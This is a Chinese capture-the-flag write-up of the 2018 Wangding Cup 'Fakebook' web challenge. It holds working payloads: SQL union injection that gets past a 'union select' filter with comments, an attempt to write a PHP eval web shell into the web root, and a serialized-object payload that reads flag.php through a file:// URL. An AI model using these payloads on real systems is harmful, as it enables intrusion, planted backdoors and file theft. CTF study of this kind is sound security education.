[网鼎杯 2018]
程序员文章站
2022-03-10 09:16:06
...
Fakebook
先正常注册了一个用户名、密码和年龄都是123的用户,发现在注册的时候blog必须要一个网址才行,很明显后台做了过滤。登陆。
点击123,发现url很经典。
测试了一下,发现是个很简单的sql联合查询注入。这个过滤很神奇可能只是为了走个流程,过滤了union select
。对!你没有看错,就是过滤了这两个单词加空格连在一起的字符串。所以我们用union/**/select
就可以绕过了。
注入payload为:
0 union/**/select 1,database(),3,4%20from%20users%23
然后,发现只有fakebook下面的users表有数据,还是刚刚我们注册的信息。
用户名是明文存储的,密码是md5后存储的,data信息里面则存储了一段反序列化信息。
O:8:"UserInfo":3:{s:4:"name";s:3:"123";s:3:"age";i:123;s:4:"blog";s:23:"https://www.123456.com/";}
还发现了文件路径泄露,和一个重要函数unserialize()。
那么这道题的考点应该就是反序列化了。但是我比较懒,我就打算用其他方法试试。
这个方法就是mysql读写文件,写一句话到网站根目录下。
payload:
0 union/**/select 1,'<?php @eval($_POST["shell"]);?>',3,4 into outfile "/var/www/html/shell.php"
但是没有写文件的权限。
ok!
那就顺着反序列化的思路去找找看,扫描后台发现了flag.php和robots.txt。
得到了泄漏的源码,最基础的反序列化。
运行下面的脚本得到payload。
<?php
class UserInfo
{
public $name = "1";
public $age = 1;
public $blog = "file:///var/www/html/flag.php";
}
$a=new UserInfo();
echo serialize($a);
?>
源码其实也不太必要,通过刚才的序列化结果就可以构造payload了。
O:8:"UserInfo":3:{s:4:"name";s:3:"123";s:3:"age";i:123;s:4:"blog";s:29:"file:///var/www/html/flag.php";}
payload:
?no=0/**/union/**/select/**/1,2,3,%27O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}%27%23
上一篇: Python绘制专业的K线图 源代码解析
下一篇: 2020网鼎杯wp